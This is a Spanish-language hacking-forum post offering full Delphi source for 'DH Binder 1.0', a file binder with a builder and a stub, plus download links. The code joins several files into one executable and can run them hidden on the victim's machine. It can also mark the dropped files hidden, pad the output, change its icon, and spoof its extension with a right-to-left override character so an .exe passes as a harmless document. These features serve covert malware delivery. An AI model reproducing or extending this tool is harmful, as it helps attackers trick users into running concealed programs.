[Delphi] DH Binder 1.0

Iniciado por BigBear, 27 Febrero 2015, 16:40 PM

0 Miembros y 1 Visitante están viendo este tema.

BigBear

Nueva version de este simple binder que hice en Delphi con las siguientes opciones :

  • Junta todos los archivos que quieran con opcion de cargar normal , oculto o solo extraer
  • Se puede seleccionar donde se extraen los archivos
  • Se puede cargar los archivos de forma oculta o normal
  • Se puede ocultar los archivos
  • Se puede elegir el icono del ejecutable generado
  • El builder incluye un File Pumper,Icon Changer y Extension Spoofer

    Una imagen :



    Los codigos :

    El generador.

    Código (delphi) [Seleccionar]

    // DH Binder 1.0
    // (C) Doddy Hackman 2015
    // Credits :
    // Joiner Based in : "Ex Binder v0.1" by TM
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to TM & Chokstyle

    unit binder;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
      Vcl.ExtCtrls, ShellApi, Vcl.ImgList, Vcl.Menus, Vcl.Imaging.pngimage, madRes,
      StrUtils;

    type
      TForm1 = class(TForm)
        PageControl1: TPageControl;
        TabSheet1: TTabSheet;
        TabSheet2: TTabSheet;
        TabSheet3: TTabSheet;
        PageControl2: TPageControl;
        TabSheet4: TTabSheet;
        TabSheet5: TTabSheet;
        GroupBox1: TGroupBox;
        PageControl3: TPageControl;
        TabSheet6: TTabSheet;
        TabSheet7: TTabSheet;
        TabSheet8: TTabSheet;
        files: TListView;
        StatusBar1: TStatusBar;
        GroupBox2: TGroupBox;
        archivo_nuevo: TEdit;
        Button1: TButton;
        GroupBox3: TGroupBox;
        execute: TComboBox;
        abrir: TOpenDialog;
        GroupBox4: TGroupBox;
        Button2: TButton;
        GroupBox5: TGroupBox;
        extraction: TComboBox;
        GroupBox6: TGroupBox;
        opcion_ocultar: TCheckBox;
        check_filepumper: TCheckBox;
        GroupBox7: TGroupBox;
        GroupBox8: TGroupBox;
        pumper_count: TEdit;
        UpDown1: TUpDown;
        pumper_type: TComboBox;
        check_extension_changer: TCheckBox;
        GroupBox9: TGroupBox;
        check_extension: TCheckBox;
        extensiones: TComboBox;
        GroupBox10: TGroupBox;
        check_this_extension: TCheckBox;
        extension: TEdit;
        GroupBox11: TGroupBox;
        ruta_icono: TEdit;
        Button3: TButton;
        GroupBox12: TGroupBox;
        use_icon_changer: TCheckBox;
        preview: TImage;
        imagenes: TImageList;
        menu: TPopupMenu;
        C1: TMenuItem;
        Image2: TImage;
        GroupBox13: TGroupBox;
        Button4: TButton;
        TabSheet9: TTabSheet;
        GroupBox14: TGroupBox;
        Image3: TImage;
        Label1: TLabel;
        D1: TMenuItem;
        abrir_icono: TOpenDialog;
        procedure Button1Click(Sender: TObject);
        procedure Button3Click(Sender: TObject);
        procedure Button2Click(Sender: TObject);
        procedure C1Click(Sender: TObject);
        procedure Button4Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure D1Click(Sender: TObject);

      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}
    // Functions

    procedure file_pumper(archivo: string; cantidad: LongWord);
    var
      arraycantidad: array of Byte;
      abriendo: TFileStream;
    begin
      abriendo := TFileStream.Create(archivo, fmOpenReadWrite);
      SetLength(arraycantidad, cantidad);
      ZeroMemory(@arraycantidad[1], cantidad);
      abriendo.Seek(0, soFromEnd);
      abriendo.Write(arraycantidad[0], High(arraycantidad));
      abriendo.Free;
    end;

    procedure extension_changer(archivo: string; extension: string);
    var
      nombre: string;
    begin
      nombre := ExtractFileName(archivo);
      nombre := StringReplace(nombre, ExtractFileExt(nombre), '',
        [rfReplaceAll, rfIgnoreCase]);
      nombre := nombre + char(8238) + ReverseString('.' + extension) + '.exe';
      MoveFile(PChar(archivo), PChar(ExtractFilePath(archivo) + nombre));
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    procedure TForm1.Button1Click(Sender: TObject);
    begin
      if (abrir.execute) then
      begin
        archivo_nuevo.Text := abrir.FileName;
      end;
    end;

    procedure TForm1.Button2Click(Sender: TObject);
    var
      icono: TIcon;
      listate: TListItem;
      getdata: SHFILEINFO;
    begin

      if (FileExists(archivo_nuevo.Text)) then
      begin
        icono := TIcon.Create;
        files.Items.BeginUpdate;

        with files do
        begin

          listate := files.Items.Add;

          listate.Caption := ExtractFileName(archivo_nuevo.Text);
          listate.SubItems.Add(archivo_nuevo.Text);
          listate.SubItems.Add(ExtractFileExt(archivo_nuevo.Text));
          listate.SubItems.Add(execute.Text);

          SHGetFileInfo(PChar(archivo_nuevo.Text), 0, getdata, SizeOf(getdata),
            SHGFI_ICON or SHGFI_SMALLICON);
          icono.Handle := getdata.hIcon;
          listate.ImageIndex := imagenes.AddIcon(icono);

          DestroyIcon(getdata.hIcon);

        end;

        files.Items.EndUpdate;

        archivo_nuevo.Text := '';

        StatusBar1.Panels[0].Text := '[+] File Added';
        Form1.StatusBar1.Update;
      end
      else
      begin
        StatusBar1.Panels[0].Text := '[-] File not exists';
        Form1.StatusBar1.Update;
      end;

    end;

    procedure TForm1.Button3Click(Sender: TObject);
    begin
      if (abrir_icono.execute) then
      begin
        ruta_icono.Text := abrir_icono.FileName;
        preview.Picture.LoadFromFile(abrir_icono.FileName);
      end;
    end;

    procedure TForm1.Button4Click(Sender: TObject);
    var
      i: integer;
      nombre: string;
      ruta: string;
      tipo: string;
      savein: string;
      opcionocultar: string;
      lineafinal: string;
      uno: DWORD;
      tam: DWORD;
      dos: DWORD;
      tres: DWORD;
      todo: Pointer;
      change: DWORD;
      valor: string;
      stubgenerado: string;
      ruta_archivo: string;
      tipocantidadz: string;
      extensionacambiar: string;

    begin

      StatusBar1.Panels[0].Text := '[+] Working ...';
      Form1.StatusBar1.Update;

      if (files.Items.Count = 0) or (files.Items.Count = 1) then
      begin
        ShowMessage('You have to choose two or more files');
      end
      else
      begin
        stubgenerado := 'done.exe';

        if (opcion_ocultar.Checked = True) then
        begin
          opcionocultar := '1';
        end
        else
        begin
          opcionocultar := '0';
        end;

        if (extraction.Items[extraction.ItemIndex] = '') then
        begin
          savein := 'USERPROFILE';
        end
        else
        begin
          savein := extraction.Items[extraction.ItemIndex];
        end;

        DeleteFile(stubgenerado);
        CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
          'Data/stub.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
          stubgenerado), True);

        ruta_archivo := ExtractFilePath(Application.ExeName) + '/' + stubgenerado;

        uno := BeginUpdateResource(PChar(ruta_archivo), True);

        for i := 0 to files.Items.Count - 1 do
        begin

          nombre := files.Items[i].Caption;
          ruta := files.Items[i].SubItems[0];
          tipo := files.Items[i].SubItems[2];

          lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
            '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
          lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') +
            '[63686175]';

          dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
          tam := GetFileSize(dos, nil);
          GetMem(todo, tam);
          ReadFile(dos, todo^, tam, tres, nil);
          CloseHandle(dos);
          UpdateResource(uno, RT_RCDATA, PChar(lineafinal),
            MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam);

        end;

        EndUpdateResource(uno, False);

      end;

      //

      if (check_filepumper.Checked) then
      begin
        tipocantidadz := pumper_type.Items[pumper_type.ItemIndex];
        if (tipocantidadz = 'Byte') then
        begin
          file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 8);
        end;
        if (tipocantidadz = 'KiloByte') then
        begin
          file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1024);
        end;
        if (tipocantidadz = 'MegaByte') then
        begin
          file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1048576);
        end;
        if (tipocantidadz = 'GigaByte') then
        begin
          file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1073741824);
        end;
        if (tipocantidadz = 'TeraByte') then
        begin
          file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1099511627776);
        end;
      end;

      if (use_icon_changer.Checked) then
      begin
        try
          begin
            change := BeginUpdateResourceW
              (PWideChar(wideString(ruta_archivo)), False);
            LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
              PWideChar(wideString(ruta_icono.Text)));
            EndUpdateResourceW(change, False);
          end;
        except
          begin
            //
          end;
        end;
      end;

      if (check_extension_changer.Checked) then
      begin
        if not(check_extension.Checked and check_this_extension.Checked) then
        begin
          if (check_extension.Checked) then
          begin
            extensionacambiar := extensiones.Items[extensiones.ItemIndex];
            extension_changer(ruta_archivo, extensionacambiar);
          end;
          if (check_this_extension.Checked) then
          begin
            extension_changer(ruta_archivo, extension.Text);
          end;
        end;
      end;

      StatusBar1.Panels[0].Text := '[+] Done';
      Form1.StatusBar1.Update;

    end;

    procedure TForm1.C1Click(Sender: TObject);
    begin
      files.Clear;
      imagenes.Clear;
    end;

    procedure TForm1.D1Click(Sender: TObject);
    begin
      files.DeleteSelected;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      abrir.InitialDir := GetCurrentDir;
      abrir_icono.InitialDir := GetCurrentDir;
      abrir_icono.Filter := 'ICO|*.ico|';
    end;

    end.

    // The End ?


    El Stub.

    Código (delphi) [Seleccionar]

    // DH Binder 1.0
    // (C) Doddy Hackman 2015
    // Credits :
    // Joiner Based in : "Ex Binder v0.1" by TM
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to TM & Chokstyle

    program stub;

    uses
      System.SysUtils, ShellApi, Windows;

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    procedure cargar_archivo(archivo: TFileName; tipo: string);
    var
      data: SHELLEXECUTEINFO;
    begin
      if (FileExists(archivo)) then
      begin
        ZeroMemory(@data, SizeOf(SHELLEXECUTEINFO));
        data.cbSize := SizeOf(SHELLEXECUTEINFO);
        data.fMask := SEE_MASK_NOCLOSEPROCESS;
        data.Wnd := 0;
        data.lpVerb := 'open';
        data.lpFile := PChar(archivo);
        if (tipo = 'Show') then
        begin
          data.nShow := SW_SHOWNORMAL;
        end;
        if (tipo = 'Hide') then
        begin
          data.nShow := SW_HIDE;
        end;
        if not ShellExecuteEx(@data) then
          if GetLastError <= 32 then
          begin
            SysErrorMessage(GetLastError);
          end;
      end;
    end;

    //

    // Start the game

    function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
    var
      data: DWORD;
      uno: DWORD;
      dos: DWORD;
      cinco2: string;
      nombre: string;
      tipodecarga: string;
      ruta: string;
      ocultar: string;

    begin

      Result := True;

      cinco2 := cinco;
      cinco2 := regex(cinco2, '[63686175]', '[63686175]');
      cinco2 := dhencode(cinco2, 'decode');
      cinco2 := LowerCase(cinco2);

      nombre := regex(cinco2, '[nombre]', '[nombre]');
      tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
      ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
      ocultar := regex(cinco2, '[hide]', '[hide]');

      if not(tipodecarga = '') then
      begin
        data := FindResource(0, cinco, cuatro);

        uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE,
          nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
        WriteFile(uno, LockResource(LoadResource(0, data))^,
          SizeOfResource(0, data), dos, nil);

        CloseHandle(uno);

        if (ocultar = '1') then
        begin
          SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
        end;

        if (tipodecarga = 'normal') then
        begin
          // Writeln('Abriendo normal');
          cargar_archivo(ruta + nombre, 'Show');
        end;
        if (tipodecarga = 'hide') then
        begin
          // Writeln('Abriendo oculto');
          cargar_archivo(ruta + nombre, 'Hide');
        end;
      end;
    end;

    begin

      EnumResourceNames(0, RT_RCDATA, @start, 0);

    end.

    // The End ?


    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=GnyKSmXR9q4[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.